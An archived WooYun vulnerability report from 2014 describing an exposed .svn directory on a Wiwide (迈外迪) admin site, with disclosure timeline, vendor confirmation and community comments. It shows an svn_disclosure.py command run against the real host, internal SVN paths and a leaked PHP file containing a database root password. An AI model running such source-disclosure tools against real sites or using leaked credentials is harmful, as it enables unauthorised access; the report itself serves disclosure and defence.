迈外迪某后台配置不当可下载整站源码（间接利用进入后台）

发表于 2014年12月23日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2014-088324

漏洞标题：迈外迪某后台配置不当可下载整站源码（间接利用进入后台）

漏洞详情

披露状态：

2014-12-23: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认，细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-06: 细节向公众公开

简要描述：

迈外迪某后台配置不当可下载整站源码（间接利用进入后台）

详细说明：

http://widash.wiwide.com/.svn/entrieshttp://widash.wiwide.com/php.php

$ python svn_disclosure.py http://widash.wiwide.com /<br>
*****************************************************<br>
* Fetching: http://widash.wiwide.com<br>
* mkdir widash.wiwide.com<br>
* http://42.159.152.171/svn/dash/tags/20141030/src/www<br>
* http://42.159.152.171/svn/dash<br>
*****************************************************<br>
/app<br>
/uploadimg<br>
/guaguale<br>
/business<br>
FILE: fangan.html

$ python svn_disclosure.py http://widash.wiwide.com /

*****************************************************

* Fetching: http://widash.wiwide.com

* mkdir widash.wiwide.com

* http://42.159.152.171/svn/dash/tags/20141030/src/www

* http://42.159.152.171/svn/dash

*****************************************************

/app

/uploadimg

/guaguale

/business

FILE: fangan.html

<?php<br>
//数据库连接<br>
$link=mysql_connect('127.0.0.1','root','wiwide188');<br>
mysql_select_db('radius',$link);<br>
mysql_query("SET NAMES UTF8");?>

<?php

//数据库连接

$link=mysql_connect('127.0.0.1','root','wiwide188');

mysql_select_db('radius',$link);

mysql_query("SET NAMES UTF8");?>

漏洞证明：

修复方案：

删除泄露的文件

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2014-12-2610:28

厂商回复：

问题已经确认，多谢白帽子的反馈！

评价

2010-01-01 00:00 s3xy 白帽子 | Rank:698 漏洞数:62)

sofa
2010-01-01 00:00 第四维度白帽子 | Rank:40 漏洞数:4)

从微博看到的，就发wooyun了？
2010-01-01 00:00 鸟云厂商白帽子 | Rank:1196 漏洞数:106)

@第四维度 [email protected]
2010-01-01 00:00 c0nt 白帽子 | Rank:0 漏洞数:1)

@鸟云厂商是腾讯的还是新浪？
2010-01-01 00:00 草榴社区白帽子 | Rank:85 漏洞数:14)

http://www.wiwide.com/st0art.html 我只随手加个0
2010-01-01 00:00 鸟云厂商白帽子 | Rank:1196 漏洞数:106)

@草榴社区这个昨天群里就发了 django调试模式没关
2010-01-01 00:00 草榴社区白帽子 | Rank:85 漏洞数:14)

@鸟云厂商啥群这么牛逼,东北黑社会大联合么.
2010-01-01 00:00 f4ck 白帽子 | Rank:18 漏洞数:1)

目测是站点svn泄露。
2010-01-01 00:00 azuer 白帽子 | Rank:105 漏洞数:14)

目测正确！！！google了下的确是.svn